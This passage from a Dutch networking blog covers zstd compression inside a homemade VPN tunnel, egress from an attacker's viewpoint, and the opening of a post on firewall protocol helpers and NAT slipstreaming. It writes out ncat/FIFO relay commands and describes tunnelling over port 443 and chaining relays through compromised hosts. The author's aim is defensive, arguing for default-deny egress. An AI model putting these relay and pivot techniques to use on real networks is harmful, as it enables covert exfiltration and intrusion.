richt het op een loopbackpoort en zet de wikkelaar ervoor, of neem socat. Een zelfgebreide TLS-wikkel om een zelfgebreide tunnel is twee kansen om het interessante deel fout te doen.\nFase Vijf: De Stream Comprimeren Met zstd Er is nog één ding dat de moeite waard is om achterin te zetten, en anders dan de compressieopties van pppd kan dit echt lonen: comprimeer de frames met zstd voordat ze de drager in gaan.\nHet belangrijke woord daar is frames, meervoud. Comprimeer de stream, niet elk pakket op zichzelf. Het is het grootste gemeten effect in dit stuk.\nNetwerkverkeer is repetitief op een manier die alleen over pakketten heen zichtbaar wordt — dezelfde headers, hostnamen en JSON-sleutels, keer op keer. Een compressor die bij elk frame van 1.400 bytes opnieuw begint ziet daar niets van; een die zijn venster over frames heen vasthoudt ziet het allemaal.\nComprimeer vóór versleutelen, en houd het venster als de drager dat toelaat De volgorde ligt vast. De modus is de beslissing. tap0één read, één frame comprimerenzstd, niveau 1 versleutelenDTLS, of TLS dragerUDP, of TCP Nooit anders- om. FLUSH_BLOCK — het venster houden Zendt alles tot nu toe uit, houdt de historie. Elk frame wordt gecodeerd tegen elk frame ervoor. Geen extra vertraging: één frame erin, één frame eruit. 5.0% op repetitief verkeer · 7,5% op logregels Vraagt elk frame afgeleverd, in volgorde. Dus: TCP, of TLS over TCP. Niet UDP, niet DTLS. FLUSH_FRAME — bij elk pakket weggooien Elk datagram is een volledig zstd-frame en decodeert op zichzelf, dus datagram N werkt nog als 1 tot N-1 kwijt zijn. De enige modus die een datagramdrager kan gebruiken. 14.8% op hetzelfde verkeer · 24,2% op logregels Een getraind woordenboek wint het meeste terug: 5,3% en 15,1%, en het blijft verliestolerant. De compressie zit tussen het tap-device en de drager, en vóór de versleuteling, want versleutelde tekst comprimeert niet. FLUSH_BLOCK is de modus die ertoe doet: die zendt alles tot nu toe uit, dus één frame erin geeft één frame eruit zonder extra vertraging, terwijl de compressiehistorie voor het volgende frame bewaard blijft. FLUSH_FRAME gooit die historie bij elk pakket weg, wat het veilig maakt over een verliezende drager en drie keer zo slecht op de lijn. Op een actuele Fedora hoef je hiervoor niets te installeren — Python 3.14 bracht zstd naar de standaardbibliotheek13; deze machine heeft 3.14.7 tegen zstd 1.5.7:\nfrom compression.zstd import ZstdCompressor, ZstdDecompressor # Python 3.14+ _c, _d = ZstdCompressor(level=1), ZstdDecompressor() # FLUSH_BLOCK: emit everything so far, keep the window for the next frame. out = _c.compress(frame, mode=ZstdCompressor.FLUSH_BLOCK) frame = _d.decompress(out) Eén compressor per richting, in leven voor de duur van de link. Eén FLUSH_BLOCK per frame, zodat een frame het moment dat het aankomt naar buiten gaat zonder dat er iets gebufferd wordt, en het verre eind één frame per blok teruggeeft.\nWat Het Venster Waard Is, Gemeten Cijfers van deze machine. Dezelfde frames van 1.400 bytes, hetzelfde niveau 1, het enige verschil is of de compressor zijn historie vasthoudt:\nVerkeer in de tunnel stream, FLUSH_BLOCK per pakket, FLUSH_FRAME per pakket met getraind woordenboek Repetitieve API-aanroepen en telemetrie 5,0% 14,8% 5,3% Logregels 7,5% 24,2% 15,1% Platte tekst en configuratiebestanden 37,8% 51,3% 45,3% Willekeurige bytes, als proxy voor TLS 100%+ 100,7% — De doorvoer op niveau 1 haalde 205 MB/s op tekst en ruim 1 GB/s op het repetitieve verkeer — hoe comprimeerbaarder, hoe sneller, want er valt minder te coderen.\nLogverkeer gaat naar 7,5% van zijn oorspronkelijke omvang, tegen 24,2% per pakket — drie keer zoveel, dezelfde data, hetzelfde niveau, door één vlag. En niveau 1 is het niveau: niveau 3 kocht ongeveer één procent, niveau 9 er nog een terwijl de doorvoer van 211 MB/s naar 61 zakte.\nDe Adder Onder Het Gras, En Het Is Dezelfde Als Overal Hier Een gedeeld venster betekent dat elk frame afhangt van de frames ervoor: raak er een kwijt en de historie van de decompressor klopt niet meer, en niets daarna decodeert nog. Dus streamcompressie heeft een drager nodig die alles in volgorde aflevert — TCP, of TLS over TCP, niet UDP of DTLS. Dat is het enige eerlijke argument voor de TCP-drager in dit hele stuk. Is wat door je tunnel gaat echt comprimeerbaar — syslog, databasereplicatie in klare taal, telemetrie, een babbelzieke API — dan verplaatst een streamgecomprimeerde TLS-sessie een derde van de bytes die een datagramdrager zou verplaatsen, wat op een fatsoenlijk pad de hertransmissieboete kan verslaan. Meet het op je eigen verkeer.\nOver UDP, Waar Een Woordenboek Het Werk Van Het Venster Doet Waar de drager UDP of DTLS is, en dat hoort standaard zo te zijn, kun je geen venster vasthouden: elk datagram staat op zichzelf, wat FLUSH_FRAME betekent en de zwakkere kolom hierboven. Een getraind woordenboek geeft de compressor de context over pakketten heen die een venster zou hebben gegeven, zonder enige afhankelijkheid tussen datagrammen:\n# capture a few thousand real frames off the link first, one per file zstd --train frames/* -o tunnel.dict --maxdict=110000 ```[^zstddict] ```python from compression.zstd import ZstdCompressor, ZstdDecompressor, ZstdDict d = ZstdDict(open(\u0026#34;tunnel.dict\u0026#34;, \u0026#34;rb\u0026#34;).read()) _c = ZstdCompressor(level=1, zstd_dict=d) # load it ONCE, not per frame out = _c.compress(frame, mode=ZstdCompressor.FLUSH_FRAME) Op het repetitieve verkeer bracht dat compressie per pakket van 14,8% naar 5,3%, waarmee 96% van het gat naar volledige streamcompressie goedgemaakt werd terwijl het verliestolerant bleef; op logregels 55% van het gat, op algemene tekst 44%.\nEr horen drie regels bij. Beide einden moeten hetzelfde woordenboek laden of er decodeert niets — hier gecontroleerd, een met woordenboek gecomprimeerd frame werpt zonder dat woordenboek een ZstdError. Train op een capture van het echte verkeer, want een woordenboek is een aanname en een verkeerde kost je: het tekstwoordenboek maakte andere tekst iets slechter. En laad het één keer in een langlevende compressor; het per aanroep meegeven mat 5 MB/s, en dat is geen typefout.\nDe Headerbyte, En De Oploop Van Eén Seconde Twee kleine dingen die dit minder broos maken.\nElk datagram draagt een header van één byte, en die noemt de modus in plaats van alleen maar “gecomprimeerd” te zeggen: 0x00 het frame zoals het is, 0x01 een op zichzelf staand zstd-frame, 0x02 een blok uit een doorlopende stream. Een ontvanger kan dan decoderen wat het verre eind ook koos, zonder dat hij daarop ingesteld hoeft te zijn, en dat is de byte op zich al waard.\nIn framemodus stuurt de zender de gecomprimeerde vorm alleen als die echt kleiner is, want comprimeren wint niet altijd: willekeurige bytes kwamen op 100,7% uit, en een TCP-ACK van 64 bytes comprimeert naar 73 — de zstd-header van tien bytes op een pakket waar niets te persen valt. De pakketaantallen op een echte lijn worden gedomineerd door kleine pakketten, dus zonder die controle zou je het merendeel van je verkeer opblazen om de minderheid te laten krimpen. In streammodus stuurt hij altijd de gecomprimeerde vorm, want er een overslaan zou de twee vensters uit de pas brengen.\nEn de link begint rauw: de eerste seconde gaat elk frame ongecomprimeerd naar buiten, wat de instellingen ook zeggen, en elke richting loopt op zijn eigen houtje op:\nRAMP = 1.0 # seconds of raw frames before compression starts def pack(self, frame): if self.c is None or time.monotonic() - self.started \u0026lt; RAMP: return RAW + frame out = self.c.compress(frame, mode=ZstdCompressor.FLUSH_BLOCK) return ZSTD + out if len(out) \u0026lt; len(frame) else RAW + frame Dat is het fase-idee van bovenaan het stuk, toegepast op één link. De tunnel komt op via het simpelste pad dat hij heeft, bewijst dat hij een frame kan dragen, en begint pas daarna iets slims te doen. Gaat hij stuk, dan weet je in welke seconde dat gebeurde.\nFase Zes: Gecomprimeerd En Versleuteld, En Wat De Volgorde Kost De volgorde doet ertoe, en maar één werkt: comprimeren, dan versleutelen. Versleutelde tekst comprimeert niet, zoals de regel met 100,7% laat zien — en dat is ook waarom TLS 1.3 zijn eigen compressie geschrapt heeft, waardoor jouw laag de enige plek is om het te doen. Die volgorde heeft een bekend probleem, hetzelfde dat ik tegen deflate inbracht: comprimeren vóór versleutelen lekt klare tekst via de lengte van de versleutelde tekst, en waar een aanvaller gekozen data naast een geheim kan injecteren en de omvang kan bekijken, is dat lek al meer dan eens een werkende aanval geweest — CRIME en BREACH tegen TLS14, en VORACLE tegen precies deze vorm15.\nDat is geen reden om nooit te comprimeren. Het is een reden om te weten in welk geval je zit:\nEen link die je eigen verkeer tussen twee machines van jezelf draagt — replicatie, back-ups, logs, telemetrie — heeft geen door een aanvaller gekozen klare tekst die met geheimen meereist. Comprimeer die, en comprimeer de stream. Een link die willekeurig gebruikersgesurf draagt, waar andermans webinhoud en jouw inloggegevens samen gaan, is het geval waar VORACLE over geschreven is. Laat het uit. De reden dat ik dit wel in de tap-bouw zet en niet in de PPP-bouw is geen principe: hier kies je bewust een modern algoritme, voor verkeer waar je naar gekeken hebt, terwijl deflate van pppd standaard alles comprimeert met een algoritme uit 1996, of het geval er nu bij past of niet.\nWat De Tap-bouw Wint, En Wat Hij Opgeeft Zet de twee helften naast elkaar, want ze concurreren niet. Het zijn andere afwegingen.\npppd over een socket tap of tun over een socket Framing ingebouwd (HDLC, hersynchroniseert na schade) geen over UDP, want geen nodig; over TCP zelf verzinnen Adressen instellen onderhandeld door IPCP en IPV6CP met de hand aan beide einden Levenscheck LCP-echo, ingebouwd geen; je voegt hem toe of de link sterft stil Authenticatie PAP of CHAP beschikbaar, allebei zwak helemaal geen Laag alleen 3 3 met tun, 2 met tap Bridgen nee ja, met tap Overhead vlag, header en FCS per frame, plus escaping niets, of 14 bytes met tap Compressie deflate en BSD, standaard aan, uit 1996 geen, of zstd per frame die jij toevoegt en beheert Root nodig ja, overal om het device te maken; niet om het te gebruiken Bewegende delen één daemon, dertig jaar oud één filedescriptor PPP geeft je een onderhandelde, zichzelf bewakende link en rekent er een protocol voor. Een tap-device geeft je voor niets een rauw gat, en jij levert de ontbrekende delen of doet het zonder. Voor een tunnel die blijft draaien is de ontbrekende levenscheck degene die bijt: pppd merkt een dode drager binnen dertig seconden op en bouwt hem opnieuw, de tap-bouw merkt niets omdat er niets in zit dat kijkt. Voeg een keepalive toe, draai hem onder iets dat hem herstart, of neem de bouw die er al een heeft.\nWanneer Dit Het Juiste Gereedschap Is, En Wanneer Niet Het is nooit echt het juiste gereedschap, en ik ga niet doen alsof van wel. Alles hierboven werkt, en niets ervan is wat je in productie hoort te draaien. De eerlijke versie van een how-to bevat het deel waarin je het gereedschap neerlegt, en dit is dat deel.\nWaar het echt goed voor is, is je laten zien hoe iets werkt. Een VPN uit elkaar getrokken tot zijn onderdelen, en, in de volgende sectie, hoe egress zich werkelijk gedraagt zodra iemand met root in je netwerk zit. Dat zijn de redenen om dit gelezen te hebben. De smalle gevallen hieronder zijn echt, maar ze zijn niet waarom dit stuk bestaat.\nGrijp naar de PPP-bouw als:\nDe drager helemaal geen IP is — een seriële console, een USB-gadget, een radioverbinding, een named pipe, een SSH-kanaal. pppd maakt het niet uit waar de bytes over reizen, en een tap-device helpt je hier niet. Je iets aan het redden bent: een machine met een seriële console, geen netwerk, en een klus die vanavond af moet. PPP over die console is een gerouteerde link, aan beide einden geïnstalleerd zonder dat je iets hoeft over te zetten. Je wilt dat de link voor zichzelf zorgt. LCP-echo, adresonderhandeling en herstart zijn gratis; ze zelf schrijven is hoe de tap-bouw een klein onbetrouwbaar product wordt. Grijp naar de tap-bouw als:\nJe laag 2 nodig hebt — een protocol dat geen IP is, een clusterhartslag die broadcasts wil, DHCP over de tunnel, of twee segmenten die één moeten zijn. Je zo min mogelijk bewegende delen wilt: over UDP met DTLS zijn het twee commando\u0026rsquo;s, geen daemon, geen onderhandeling, niets om te escapen. Root schaars is. Maak het device één keer aan met user, en het proces dat frames verplaatst heeft nooit meer een privilege nodig. Allebei zijn ze het juiste gereedschap als je aan het leren bent. Elke laag is zichtbaar en apart te verwisselen, en er is geen betere manier om te begrijpen wat een VPN-product doet dan er zelf een uit de onderdelen bouwen en elk onderdeel zien opkomen.\nGeen van beide is het juiste gereedschap als je een VPN wilt. Neem daarvoor WireGuard. Het zit in de kernel, het is een fractie van de code, het doet de cryptografie netjes met niets om over te onderhandelen en niets om fout te doen, en het is van ontwerp een datagramprotocol. ssh -w geeft je met één commando een tun-device over een bestaande SSH-sessie, en OpenVPN is de volwassen, geauditeerde versie van de DTLS-over-tap-vorm hierboven. Alle drie zijn ze hier beter in dan wat hier ook gebouwd is.\nBouw dit omdat je wilt weten wat er in het ding zit dat je koopt. Niet omdat het slim was.\nWat Dit Werkelijk Laat Zien: Egress Vanaf De Kant Van De Aanvaller Dit is de reden om een bouwstuk te lezen waarvan je net te horen kreeg dat je het niet moet gebruiken. Draai het om en kijk vanuit je eigen netwerk, als degene die daar net met root geland is. Elke echte inbraak eindigt daar, via een gestolen sleutel, een containerontsnapping, een ongepatchte dienst, een insider. De vraag die dan bepaalt hoe erg de dag wordt is niet “wat kunnen ze draaien”, want ze kunnen alles draaien. Het is “wat mag eruit, en had jij dat besloten voordat ze er waren.”\nStaat uitgaand standaard open, dan is het antwoord alles, en kun je er weinig meer aan doen. Niets hier was exotisch. pppd, ncat, socat en ip zijn ondertekende distributiepakketten die al op de machine staan; de tap-shim is vijftig regels standaardbibliotheek. Eén toegestane uitgaande poort — en het is 443, degene die elk netwerk standaard openzet — en er is een gerouteerde link van jouw netwerk naar dat van iemand anders, versleuteld, geauthenticeerd, bestand tegen herstarts, die IPv4 en IPv6 draagt, en die aan jouw grens niet te onderscheiden is van welke HTTPS-sessie je gebruikers ook tienduizend keer per dag maken. Maak er tap van en bridge het en wat het pand verliet is geen route. Het is het segment.\nEr is niets voor een scanner om te betrappen: geen malwaresignatuur want er is geen malware, geen raar protocol want het is een normale TLS-handdruk naar 443, geen ongewoon binary want je eigen pakketbeheerder installeerde elk ervan. De proxy logt een verbinding en een bytetelling, en allebei zien eruit als werk.\nEn de bestemming ligt niet eens vast. Een socket hoeft niet te eindigen waar de pakketten uitkomen, want de drager kan door een proxy gestuurd worden — een relay dat niets meer is dan twee verbindingen en een pipe, wat de volgende sectie in één regel shell bouwt. ncat neemt --proxy met --proxy-type http, socks4 of socks5, dus de TLS-sessie die jouw grens ziet eindigt bij wat de aanvaller hem ook opgaf om doorheen te verbinden — een interne springhost, een toegestaan SaaS-eindpunt dat toevallig CONNECT doorstuurt, een cloudrelay — en de tunnel rijdt van daaraf verder naar ergens dat jij nooit ziet. HTTP CONNECT en SOCKS doen dit allebei van ontwerp, want daar is een proxy voor. Een toelatingsregel voor een bestemming die je vertrouwt is dus altijd alleen vertrouwen in die bestemming én in alles waar die naartoe doorstuurt, en dat beheers je niet en kun je niet opsommen. Het eindpunt in je firewalllog is de proxy. Het was nooit het verre eind.\nDus de ongemakkelijke waarheid: zodra iemand binnen is met root en uitgaand ruimhartig is, is de tunnel niet het ding dat jij nog kunt voorkomen. De onderdelen staan er, de uitgang staat open, en hij leidt niet eens waarheen hij lijkt te leiden. Je ene kans om dit lastig te maken was voordat de aanvaller kwam, aan de grens, door te besluiten wat eruit mag.\nDat is default-deny-egress, en dat is de hele les. Uitgaand standaard geblokkeerd; een korte, benoemde toelatingslijst waarop iemand elke bestemming en poort verantwoord heeft; al het andere geweigerd, gelogd en gemeld. Niet omdat het een vastberaden aanvaller koud stopt — een toegestane bestemming is een toegestane tunnel — maar omdat het alternatief is dat je helemaal geen besluit hebt om af te dwingen. Een egressbeleid dat geschreven is als een lijst toegestane poorten is een beleid over poortnummers. Het was nooit een beleid over wat eruit gaat, en zodra iemand root heeft, zijn poortnummers alles wat het beschermt.\nDit is dezelfde bevinding als in het ping-stuk, dat de tunnel uit ICMP-echo bouwt, en het stuk over protocolhelpers, waar je firewall de gaten zelf openzet. Drie manieren naar binnen, één conclusie: de controle waarvan je dacht dat je hem had ging over protocollen, en geen van deze protocollen is wat het zegt te zijn. De grens, vooraf besloten en default-deny, is de enige controle die ooit echt was.\nEen Proxy Is Twee Verbindingen En Een Pipe Het is de moeite waard om te zien hoe weinig een relay is, want het verklaart waarom je vanaf het nabije eind niets over het verre eind kunt zeggen. Een proxy is geen bijzondere software. Het is één verbinding aan een andere geknoopt met een pipe. De oudste vorm gebruikt een named pipe, een FIFO, om de retourrichting te dragen: één ncat luistert, een andere verbindt verder, en de FIFO bedraadt het antwoordpad ertussen.\nmkfifo backpipe ncat -l 7000 0\u0026lt;backpipe | ncat farend.example.net 7100 1\u0026gt;backpipe Lees het als leidingwerk: de uitvoer van de listener loopt de tweede ncat in en door naar het verre eind, en de antwoorden komen via de FIFO terug naar de client. Twee sockets, één pipe, beide richtingen, en de verbinding van de client eindigt hier, bij het relay, terwijl de pakketten doorgaan naar farend en terug. Ik heb precies dit op loopback gedraaid met een derde ncat die aan het verre eind echode, en een regel die erin ging kwam terug nadat hij de hele reis gemaakt had.\nEen relay is twee sockets verbonden door een pipe, dus het eindpunt verschuift Eén verbinding erin, een andere eruit, een pipe ertussen. Dat is een proxy. client opent een TLS-sessie RELAY — de bestemming die je grens logt ncat -l 7000 sluit de client af ncat farend begint een nieuwe hop verre eind de echte andere kant stdout backpipe (FIFO) draagt de antwoorden terug client → relay relay → verre eind De verbinding van de client eindigt bij het relay. De pakketten niet. Je firewall logde een verbinding naar deze machine. Waarheen hij doorstuurt wordt in de machine beslist, en drie hiervan geketend legt het echte verre eind drie pipes verderop — het log van elke hop toont alleen een keurige lokale verbinding naar de volgende, en niets daarachter. Een relay is twee sockets en een pipe. De listener sluit de verbinding van de client af. Een tweede netcat begint een verse verbinding verderop, en de FIFO draagt de retourrichting ertussen. De TLS-sessie van de client eindigt hier, bij het relay, en er begint een nieuwe hop — dus de bestemming die jouw grens logde is deze machine, en de pakketten gaan door naar waar hij ook doorstuurt. Keten er drie en het verre eind ligt drie pipes verderop, waarbij de firewall van elke hop alleen een keurige lokale verbinding naar de volgende ziet. Ncat doet hetzelfde in één proces, door voor elke client die binnenkomt de verderop liggende verbinding te exec\u0026rsquo;en:\nncat -l 7000 --keep-open --sh-exec \u0026#39;ncat farend.example.net 7100\u0026#39; Dezelfde vorm, minder onderdelen: de socket van de listener zit vast aan die van de ge-exec\u0026rsquo;te ncat via de pipe die de shell ertussen zet. Keten er drie en de tunnel steekt drie netwerken over, waarbij hij bij elk afsluit en opnieuw begint, en de firewall van elke hop een keurige lokale verbinding naar de volgende logt en niets daarachter.\nDat is de hele truc, en daarom is het grenslog geen bewijs van een bestemming. Elk relay is het verre eind voor zover de machine ervoor kan zien, en het echte andere eind ligt zoveel pipes verderop als niemand gadesloeg.\nZet die relays nu op machines die niet van de aanvaller zijn.\nGeketende relays over gecompromitteerde hosts wassen het eindpunt wit Elke hop is de machine van een ander, en elke eigenaar ziet alleen midden aanvaller zijn enige machine relay 1 een ander bedrijfsnetwerk relay 2 een gekaapte VPS relay 3 een thuisrouter bestemming waar het heen ging ziet: 1←→2 ziet: 2←→3 ziet: 3←→best. Geen hop kan verder kijken dan zijn eigen twee buren. Geen oorsprong, geen bestemming, alleen midden. Het verkeer wordt witgewassen door een reeks systemen van anderen, elk met hetzelfde relay van twee sockets en een pipe onder de controle van de aanvaller. Daarom leidt het uitgaande verkeer van een gecompromitteerde host zo vaak naar een volgend slachtoffer — twintig jaar C2. Elke hop is een gecompromitteerde host — de machine van een ander bedrijf, een gekaapte VPS, een thuisrouter — die hetzelfde relay van twee sockets en een pipe draait onder de commandostructuur van de aanvaller. Geen enkele hop kan verder kijken dan zijn eigen twee buren: de eigenaar van relay 2 ziet een verbinding van relay 1 en een naar relay 3, en verder niets. Het verkeer wordt witgewassen door een reeks systemen van anderen, en daarom leidt het uitgaande verkeer van een gecompromitteerde host zo vaak naar een volgend slachtoffer in plaats van naar de aanvaller. Elke eigenaar in die keten ziet alleen een verbinding van de hop ervoor naar de hop erna: geen oorsprong, geen bestemming, alleen midden. Dit is geen nieuw idee dat ik hier aan iemand aanreik. Zo werken pivotketens en C2-netwerken al twintig jaar, en daarom leidt het uitgaande verkeer van een gecompromitteerde host zo vaak naar een volgend slachtoffer in plaats van naar de aanvaller. Je logs laten zien dat je met een machine in een datacentrum ergens gepraat hebt. Van wie die is, en waar hij naartoe doorstuurt, stond er nooit in.\nHet verdedigende gewicht is één regel: je kunt een bestemming die je niet vooraf beperkt hebt niet toeschrijven en niet vertrouwen. Tegen de tijd dat het verkeer vertrekt zegt het adres waarheen het vertrekt je bijna niets, want het is een relay op de machine van iemand anders en het echte eindpunt is erachter witgewassen.\nDe Link Was Nooit Het Product Wat me opvalt, nu ik dit uit elkaar heb getrokken, is hoe weinig ervan nieuw is en hoeveel ervan verkocht wordt.\nRFC 1661 is uit 1994. pppd zit al dertig jaar in elke Linux-distributie, de kernelmodules zijn acht bestanden in één map, en alles wat een VPN een VPN maakt — een virtuele interface, een onderhandelde link, een versleutelde drager, een route — is vier programma\u0026rsquo;s en een certificaat. Niets ervan is moeilijk of geheim. Ze documenteerden elke byte en gaven het weg, en er groeide een bedrijfstak tussen jou en dat spul in die diezelfde vier onderdelen in een doos verkoopt met een licentie per gebruiker en een supportcontract dat afloopt. De onderdelen werden niet beter. Ze werden ingepakt.\nDat is geen argument om dit in productie te draaien. Ik heb je net gezegd dat niet te doen. Het is een argument om te weten wat er in de doos zit die je koopt, want op de dag dat de leverancier de licentievoorwaarden verandert, overgenomen wordt of jouw model uitfaseert, is het verschil tussen een slecht kwartaal en een slecht jaar of er bij jou iemand weet waar dat ding van gemaakt was.\nNeem een avond en bouw de tunnel uit de onderdelen. Kijk hoe LCP onderhandelt, breek de link en kijk hoe hij terugkomt, trek het certificaat eruit en kijk wat er stopt. Lees daarna de datasheet van je VPN-leverancier nog eens, en kijk hoeveel ervan je herkent.\nDiezelfde avond koopt de andere helft. Als een gerouteerde link je netwerk uit vier geïnstalleerde programma\u0026rsquo;s en een certificaat is, dan wordt degene die net root kreeg op een van je machines niet tegengehouden door hoe moeilijk de tunnel te bouwen is. Hij is niet moeilijk. Ze worden alleen tegengehouden door wat jij, voordat ze er waren, besloot dat eruit mocht. Bouw het één keer en je stopt met egress te zien als iets dat een product afdwingt, en begint het te zien als een besluit dat je wel of niet genomen hebt.\nVeel magie zit er niet in. Het meeste is 1994 met een laagje verf, en er is nowt mis met 1994. Het werkte, het was gedocumenteerd, en het draait nog steeds.\nRFC 1661 — The Point-to-Point Protocol (PPP), 1994. Definieert de link, LCP, en de familie netwerkstuurprotocollen die erbovenop zitten.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 2637 — Point-to-Point Tunneling Protocol (PPTP), dat PPP in GRE draagt.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3931 — Layer Two Tunneling Protocol version 3, de standards-track-afstammeling van het protocol dat PPP in UDP draagt.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\npppd(8) — de handleiding van de PPP-daemon. Bron voor pty, notty, local, passive, noipdefault, proxyarp, record, receive-all, de LCP-echo-opties, en de asyncmap-standaard: “If no asyncmap option is given, the default is zero, so pppd will ask the peer not to escape any control characters.” De citaten hier zijn gelezen uit man pppd op ppp 2.5.1.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 1662 — PPP in HDLC-like Framing. De vlagreeks, de octet-stuffingregel en de Async-Control-Character-Map: “Each frame begins and ends with a Flag Sequence, which is the binary sequence 01111110 (hexadecimal 0x7e).”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOlaf Titz, Why TCP Over TCP Is A Bad Idea — de standaarduitleg van gestapelde hertransmissie, die op precies deze bouw opent. De oorspronkelijke URL serveert het artikel niet meer; dit is een opname van het Internet Archive.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 5072 — IP Version 6 over PPP. IPV6CP en de 64-bits interface-identifiers, onafhankelijk van IPCP.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 1994 — PPP Challenge Handshake Authentication Protocol (CHAP). Bewijst de identiteit van de peer; versleutelt niets.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3079 — Deriving Keys for use with Microsoft Point-to-Point Encryption (MPPE). De RC4-constructie met sleutels uit de MS-CHAP-uitwisseling, en de reden dat PPTP geen levende optie is.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNcat Users\u0026rsquo; Guide — connecting through a proxy — --proxy en --proxy-type voor HTTP CONNECT en SOCKS 4/5, zodat de TLS-drager bij de proxy eindigt en niet bij het verre eind van de tunnel.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNcat Users\u0026rsquo; Guide — de opties --ssl, --ssl-verify en --ssl-trustfile, en de listen- en UDP-modi. Hier geteste versie: Ncat 7.92.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nUniversal TUN/TAP device driver — de eigen documentatie van de kernel voor /dev/net/tun, TUNSETIFF, en het verschil tussen tun en tap.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nPEP 784 — Adding Zstandard to the standard library, en daarom heeft compression.zstd op Python 3.14 geen pakket nodig. Hier gemeten tegen Python 3.14.7 en zstd 1.5.7.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 7457 — Summarizing Known Attacks on TLS and DTLS, dat CRIME behandelt en de algemene vorm van een lengtelek door comprimeren vóór versleutelen.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOpenVPN — the VORACLE attack — hetzelfde lek tegen een VPN dat comprimeert voordat het versleutelt, en de reden dat OpenVPN compressie nu afraadt.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/nl/networking/a-vpn-out-of-parts-and-what-egress-really-is/","summary":"Een VPN is twee taken: iets dat een virtuele link maakt, en iets dat de bytes draagt. PPP doet de eerste sinds 1994 en het kan het niet schelen wat de tweede is — daarom zijn PPTP, L2TP en elke inbellijn die je ooit gebruikt hebt hetzelfde protocol over verschillende dragers. Netcat is een drager. Dit bouwt het op beide manieren. Eerst pppd: de pty-optie en wat die met een pseudo-terminal doet, de TCP-versie die iedereen eerst probeert, waarom een streamprotocol binnen TCP onder verlies smelt, de UDP-versie die je moet nemen, de asynchrone HDLC-framing en de ACCM die bepaalt hoeveel bandbreedte er opgaat aan het escapen van stuurtekens, adressering en routering en IPV6CP, en de link overeind houden als de drager sterft zonder het te zeggen. Daarna dezelfde tunnel helemaal zonder PPP — een tap-device, één datagram per frame over UDP, het lengteprefix dat je over TCP zelf moet verzinnen, tun tegen tap, en bridging. Daarna het deel waar netcat geen antwoord op heeft: de drager in TLS wikkelen met ncat, stunnel en openssl, en in DTLS met socat, wat de vorm is die je eigenlijk wilt. Het is nooit echt het juiste gereedschap, en dat is nu juist het punt: het laat zien hoe egress zich gedraagt zodra een aanvaller root heeft binnen je netwerk en uitgaande toegang niet standaard geblokkeerd was, en waarom default-deny aan de rand de enige controle is die ooit echt was.","title":"Een VPN uit onderdelen: PPP, tap-devices en netcat"},{"content":"Op je firewall zit een functie die in je pakketten meeleest, daar een IP-adres en een poortnummer in de tekst vindt, en daarvoor een inkomend gat opent. Geen regel. Geen changeverzoek. Geen logregel die je ooit zou bekijken. Op de meeste apparatuur die hem heeft staat hij standaard aan, dat is al bijna vijfentwintig jaar zo, en de branche die hem daar neerzette is de laatste twintig jaar stilletjes tot de conclusie gekomen dat hij uit hoort te staan — in standaardendocumenten, in kernelinstellingen en in vier aparte rondes noodpatches voor browsers.\nHet heet een protocol-helper, of Application Level Gateway, ALG, session helper, fixup, inspection engine, conntrack-helper. Hetzelfde ding. Het bestaat omdat NAT een handvol protocollen sloopte die adressen in hun eigen payload schrijven, en omdat iemand besloot dat de minst slechte oplossing was om de vertaler te leren die payload onderweg te lezen en te herschrijven.\nHier komt het deel dat je moet doen stilstaan.\nDe helper kan niet zien wie de tekst geschreven heeft. Hij leest bytes van een verbinding en handelt ernaar, meteen, zonder iets of iemand te vragen. Hij heeft geen manier om te weten of de reeks PORT 192,168,1,29,4,0 van een echte FTP-client kwam die een echte overdracht deed, of van een verborgen formulier op een webpagina die je gebruiker per ongeluk opende. Ze zien er op de lijn identiek uit, want ze zijn op de lijn identiek. Een vreemde op internet die iets in jouw netwerk zover krijgt de juiste bytes te sturen — een browser, een chatclient, alles wat verstuurt wat je het opdraagt — mag dus kiezen welke inkomende poort jouw firewall opent, en waarheen.\nDat is geen bug in de parser van één leverancier. Dat is wat de functie doet. De bugmeldingen en de CVE\u0026rsquo;s zijn het interessante detail erbovenop; de vorm eronder is dat een beveiligingsapparaat configuratie-instructies aanneemt uit niet-vertrouwde data en die meteen uitvoert.\nSamy Kamkar liet de browserversie zien in januari 20101, een veel betere in oktober 20202, en drie maanden later breidde Armis die uit zodat de geopende poort niet eens op de machine hoeft te zitten die klikte — hij kan op je printer zitten, je camera, of een programmeerbare besturing twee VLAN\u0026rsquo;s verderop3. Daartussenin schreef de IETF op dat deze dingen standaard uit horen te staan4, zette Linux ze in de kernel uit5, en leverden de browserbouwers een lijst geblokkeerde poorten die bijna regel voor regel leest als een inhoudsopgave van de Linux-conntrack-modules6. Elk van die oplossingen is ergens anders aangebracht, omdat wat er echt gerepareerd moest worden in een doos zit die niemand gaat patchen.\nMijn conclusie is dat protocol-helpers overal standaard uit horen te staan, en op elk netwerk waar jij verantwoordelijk voor bent ook echt uit horen te staan. Niet afgeregeld. Niet als eerste maatregel beperkt tot vertrouwde subnetten. Uit, met de twee of drie echte uitzonderingen opgeschreven en gedateerd, precies zoals je elke andere inkomende regel zou documenteren — want dat is wat ze zijn.\nWat volgt is het mechanisme, dan de aanvallen in de volgorde waarin ze gevonden zijn, dan de compliancekant, want in het 